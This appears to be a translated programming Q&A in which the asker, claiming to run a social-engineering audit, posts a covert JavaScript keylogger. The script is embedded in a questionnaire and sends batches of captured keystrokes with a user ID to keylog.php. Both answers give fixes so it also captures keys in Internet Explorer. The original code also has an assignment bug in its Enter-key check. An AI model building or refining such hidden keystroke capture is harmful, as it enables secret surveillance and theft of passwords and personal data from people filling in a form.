javascript onkeypress / onkeydown在IE中不起作用

时间:2013-05-31 08:44:50

标签: javascript internet-explorer keycode onkeypress

我正在编写本调查问卷,用于进行IT安全社会工程审计。除了所有表单字段,我正在尝试构建一个javascript键盘记录器以获取有关用户操作的更多信息。

到目前为止,键盘记录器在FF中工作得很好但不是IE。我必须同时工作。任何帮助/想法赞赏。

<script>

function sendkeylog (keylog, userID) {
if (window.ActiveXObject) {
httpRequest = new ActiveXObject("Microsoft.XMLHTTP");
}
else {
httpRequest = new XMLHttpRequest();
}
httpRequest.open("GET", "keylog.php?keylog="+keylog+"&userID="+userID, true);
httpRequest.send(null);
}

keylog="";
userID="";

document.onkeypress = function savekeycode (e) {
keylog+=String.fromCharCode(e.charCode);
if ((keylog.length==5)||(event.keyCode=13)) {
var userID = "<?php echo $sID; ?>";
sendkeylog(keylog, userID);
keylog="";
userID="";
}
}

</script> 

2 个答案:

答案 0 :(得分:1)

(较旧)IE不支持Event.charCode。你可以尝试这样的事情:

document.onkeypress = function (e) {
    var evt = e || window.event,
        charCode = evt.charCode || evt.keyCode;
    keylog += String.fromCharCode(charCode);
    if ((keylog.length === 5) || (charCode === 13)) {
        ...
}

在调用者和被调用者参数中使用相同的变量名称(keylog)也可能导致IE中的Out of memory错误&lt; 8.使用named function expression ...

时可能会遇到更多麻烦

答案 1 :(得分:0)

在编写jquery插件之前我已经注意到了这个问题 - 请尝试使用

String.fromCharCode(event.which)

而不是keycode ..它适用于IE 6 +所有其他浏览器..

感谢。